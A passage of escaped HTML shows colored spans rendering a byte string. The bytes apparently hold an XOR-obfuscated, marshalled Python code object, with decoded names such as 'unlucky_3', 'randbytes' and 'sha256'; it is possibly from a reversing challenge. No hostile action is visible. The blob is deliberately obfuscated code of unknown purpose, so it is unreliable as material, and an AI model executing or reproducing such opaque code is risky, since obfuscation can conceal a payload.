style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xed\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ea3m\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xee\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eimi3l:i@l\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x93\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003es\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e6ZGU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x06\\n\\x08\\x05\\x1a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eWG\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ekiiiiiiiiiiimiiiliiiziii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e-iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ehhi\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x14\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe1\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ehhi\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh-i4e\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x14\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ejpipi\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ejpiUi\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x18\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ez\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei:i@j\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em(*.=\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x80\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003emiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003el\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003el\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1a\\x1c\\x19\\x0c\\x1b\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ea66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x00\\x07\\x00\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x00\\x1a\\x1d\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003en\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1a\\x01\\x1c\\x0f\\x0f\\x05\\x0c\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003el\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\\x08\\x07\\x0e\\x0c\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1a\\x0c\\x05\\x0f\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003en\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x04\\x08\\x19\\x19\\x00\\x07\\x0e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x02\\x0c\\x10\\x1a\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x00\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\\x05\\x08\\x1a\\x1a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eliii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eciiiOiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eeiiiehahcheh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x7f\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ehm\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x96\\x93\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eJ\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e6ZGU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x06\\n\\x08\\x05\\x1a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eWG\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eG66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x00\\x07\\x00\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ekiiiiiiiiiiiliiiliiiziii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e;iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x14\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x14\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej`i\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x14\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xee\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0f\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003el\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xed\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003en\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xec\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ekpi-i\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eA\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003el\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe1\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh:i\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x18\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`@a\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ekiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003en\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x01\\x08\\x1a\\x01\\x05\\x00\\x0b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x80\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eIiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ehiiiiiiiiiiikiiimiiiZiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003euiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei4`\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x14\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe1\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xea\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x02\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek?ihi\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x18\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ei:i@h\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x06\\x1b\\r\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ekGY\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eniii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x02\\x0c\\x10\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eliii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eciii[iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003emiiik\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xe9\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003esi\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x93\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eP\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e6ZGU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x06\\n\\x08\\x05\\x1a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eWG\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eG66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0e\\x0c\\x1d\\x00\\x1d\\x0c\\x04\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66GU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x06\\n\\x08\\x05\\x1a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eWGU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0e\\x0c\\x07\\x0c\\x11\\x19\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eW\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x80\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ehiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003en\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ec66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x00\\x04\\x19\\x06\\x1b\\x1d\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\\x08\\x07\\r\\x0b\\x10\\x1d\\x0c\\x1a\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ej\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x08\\x05\\x05\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1a\\x01\\x08\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e_\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\\x00\\x0e\\x0c\\x1a\\x1d\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eziii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0e\\x0c\\x1d\\x00\\x1d\\x0c\\x04\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003el\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003epiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eBiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x01\\x05\\x00\\x0b\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\\x05\\x00\\x0b\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0b\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ewiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eCiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eciiiDiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003egiiiahahkhchAhehk\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x94\\x93\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eO\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e6ZGU\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x06\\n\\x08\\x05\\x1a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eWG\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1c\\x07\\x05\\x1c\\n\\x02\\x10\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eG66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0e\\x0c\\x1d\\x00\\x1d\\x0c\\x04\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ea66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x07\\x08\\x04\\x0c\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ec66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x04\\x06\\r\\x1c\\x05\\x0c\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ee66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x18\\x1c\\x08\\x05\\x07\\x08\\x04\\x0c\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ed66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\\x05\\x08\\x1a\\x1a\\n\\x0c\\x05\\x05\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e66\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eliii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eviii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eSiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`iii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eciiiLiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9a\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eoiiiaigh}n\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eciii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eYiii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1a\\x0c\\x0c\\r\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\\x0c\\r\\x1c\\n\\x0c\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ek\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x07\\x04\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eo\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1f\\x08\\x05\\x1c\\x0c\\x1a\\xb3\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003em\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\\x00\\n\\x1d\\xc0\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eh\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eciii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eliii\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x1b\u003c/span\u003e\u003cspan 